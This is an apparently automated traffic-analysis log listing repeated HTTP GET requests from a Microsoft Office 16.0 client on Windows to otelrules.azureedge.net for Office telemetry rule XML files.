Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
